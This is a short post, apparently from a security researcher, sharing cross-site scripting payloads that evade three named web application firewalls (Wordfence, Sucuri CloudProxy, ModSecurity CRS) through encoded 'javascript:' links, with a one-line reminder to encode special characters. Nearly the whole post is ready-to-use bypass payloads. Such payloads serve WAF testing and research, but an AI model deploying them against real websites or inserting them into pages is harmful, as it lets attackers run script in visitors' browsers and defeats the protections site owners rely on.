Christmas Gifts!🎄
WAF #XSS Bypasses

Wordfence 7.4.2
<a href=&#01javascript:alert(1)>

Sucuri CloudProxy (POST only)
<a href=javascript&colon;confirm(1)>

ModSecurity CRS 3.2.0 PL1
<a href="jav%0Dascript&colon;alert(1)">

Encode special chars properly.
#MerryChristmas! 🎅

By : Rodolfo Assis